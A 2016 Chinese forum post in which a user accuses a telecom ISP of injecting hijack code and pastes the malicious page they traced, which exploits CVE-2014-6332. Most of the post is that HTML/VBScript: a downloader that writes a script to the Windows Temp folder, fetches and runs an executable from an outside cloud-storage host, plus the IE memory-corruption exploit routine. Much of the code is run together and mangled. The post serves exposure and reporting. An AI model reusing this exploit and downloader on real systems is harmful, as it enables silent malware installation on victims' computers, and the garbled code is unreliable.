本帖最后由 XywCloud 于 2016-5-11 08:45 编辑
呵呵哒
看来电信得寸进尺了。
我要看看浙江这边啥时候有这么恶心
浙江电信闪讯两次“小试牛刀”【没这帖这么恐怖而已，也就搞搞浏览器劫持和进程注入而已，诱导用户修改主页为某网址导航（不点名，防止被喷）】均被本人当天发现并收集证据然后工信部举报
【按照11楼给的线索，我顺藤摸瓜... CVE-2014-6332】
贴个最终执行的代码，VBScript我懒得格式化了。
如果直接访问11楼给的页面的话，中间过程有一段js脚本判断了电脑存在的软件，电脑内装有360安全卫士、360安全浏览器、金山毒霸、金山卫士、腾讯电脑管家的电脑将不会进行后续跳转【只不过判断方法比较粗暴，准确率不是很高】，也就不会跳到我给的代码对应的页面（这个页面实际上是被document.write写上去的）。
[mw_shl_code=html,true]<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<head></head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa() On Error Resume NextSet objWsh = CreateObject("Wscript.Shell") objWsh.run "cmd.exe /c echo >>C:\Windows\Temp\smss.vbs Set xPost=createObject("
"Microsoft.XMLHTTP"
") & echo >>C:\Windows\Temp\smss.vbs xPost.Open "
"GET"
","
"hxxp://kfdown.oss-cn-hangzhou.aliyuncs.com/1.exe" '和谐处理防止意外
",0 & echo >>C:\Windows\Temp\smss.vbs xPost.Send() & echo >>C:\Windows\Temp\smss.vbs set sGet=createObject("
"ADODB.Stream"
") & echo >>C:\Windows\Temp\smss.vbs sGet.Mode=3 & echo >>C:\Windows\Temp\smss.vbs sGet.Type=1 & echo >>C:\Windows\Temp\smss.vbs sGet.Open() & echo >>C:\Windows\Temp\smss.vbs sGet.Write xPost.ResponseBody & echo >>C:\Windows\Temp\smss.vbs sGet.SaveToFile "
"C:\Windows\Temp\kstpladdala.exe"
",2", 0o bjWsh.run "cscript.exe C:\Windows\Temp\smss.vbs", 0, truewscript.sleep 10000 objWsh.run "C:\Windows\Temp\kstpladdala.exe"
document.write(Err.Description) end
function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa() dim ab() dim a0dim a1dim a2dim a3dim win9xdim intVersiondim rndadim funclassdim myarrayBegin()
function Begin() On Error Resume Next info = Navigator.UserAgent
if (instr(info, "Win64") > 0) then exit
function end
if if (instr(info, "MSIE") > 0) then intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else exit
function end
if win9x = 0...e Next dim type1, type2, type3 Over = False a0 = a0 + a3 a1 = a0 + 2 a2 = a0 + & h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1 = 1 ab(0) = 1.123456789012345678901234567890 aa(a0) = 10 If(IsObject(aa(a1 - 1)) = False) Then
if (intVersion < 4) then mem = cint(a0 + 1) * 16 j = vartype(aa(a1 - 1)) if ((j = mem + 4) or(j * 8 = mem + 8)) then
if (vartype(aa(a1 - 1)) < > 0) Then If(IsObject(aa(a1)) = False) Then type1 = VarType(aa(a1)) end
if end
if
else redim Preserve aa(a0) exit
function end
if
else if (vartype(aa(a1 - 1)) < > 0) Then If(IsObject(aa(a1)) = False) Then type1 = VarType(aa(a1)) end
if end
if end
if end
if If(type1 = & h2f66) Then Over = True End If If(type1 = & hB9AD) Then Over = True win9x = 1 End If redim Preserve aa(a0) end functionfunction ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab(0) = 0 aa(a1) = add + 4 ab(0) = 1.69759663316747E-313 ReadMemo = lenb(aa(a1)) ab(0) = 0 redim Preserve aa(a0) end
function
</script>
</body>
</html>[/mw_shl_code] |
[复制链接]
发表于 2016-5-10 22:16:45
楼主
这倒是没错